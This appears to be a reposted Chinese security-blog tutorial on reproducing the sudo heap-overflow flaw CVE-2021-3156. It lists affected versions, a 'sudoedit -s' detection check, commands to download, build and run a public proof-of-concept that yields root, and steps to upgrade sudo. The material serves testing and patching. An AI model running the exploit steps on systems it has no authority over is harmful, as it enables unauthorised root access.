Linux sudo权限提升漏洞复现(CVE-2021-3156)

一、漏洞背景

1月26日,Sudo发布安全通告,修复了一个类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过 -s 或 -i 命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用 -s 或 -i 标志运行 sudoedit 时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

二、影响版本

sudo 1.8.2 – 1.8.31p2

sudo 1.9.0 – 1.9.5p1

三、漏洞检测

查看sudo版本

命令:sudo –version

Linux sudo权限提升漏洞复现(CVE-2021-3156)

POC:

sudoedit -s ”

Linux sudo权限提升漏洞复现(CVE-2021-3156)

若返回如图以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。

不受影响的系统将显示以“ usage:”开头的错误。

四、漏洞利用

漏洞POC:https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz

命令:

tar -xvzf CVE-2021-3156_nss_poc_ubuntu.tar.gz

make &&./sudo-hax-me-a-sandwich 0

Linux sudo权限提升漏洞复现(CVE-2021-3156)

五、漏洞修复

下载最新的sudo版本

https://www.sudo.ws/download.html

命令:

wget “https://www.sudo.ws/dist/sudo-1.9.5p2.tar.gz”

tar -xvzf sudo-1.9.5p2.tar.gz

cd sudo-1.9.5p2

./configure

make && sudo make install

bash -c “sudo –version”

Linux sudo权限提升漏洞复现(CVE-2021-3156)

相关推荐: 本地攻击者可借Linux SUDO漏洞获取Root权限

本地攻击者可利用一个Sudo漏洞在类Unix操作系统上获得root权限,而无需身份验证。 Sudo是一个Unix程序,它使系统管理员能够向sudoers文件中列出的普通用户提供有限的root权限,同时保留他们的活动日志。 它遵循最小权限原则,即程序只给用户足够…

本文为转载文章,源自互联网,由网络整理整理编辑,转载请注明出处:https://www.hacksafe.net/vuls/6090.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注